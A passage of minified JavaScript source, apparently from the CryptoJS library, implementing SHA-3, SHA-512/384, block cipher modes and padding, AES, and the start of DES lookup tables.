t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 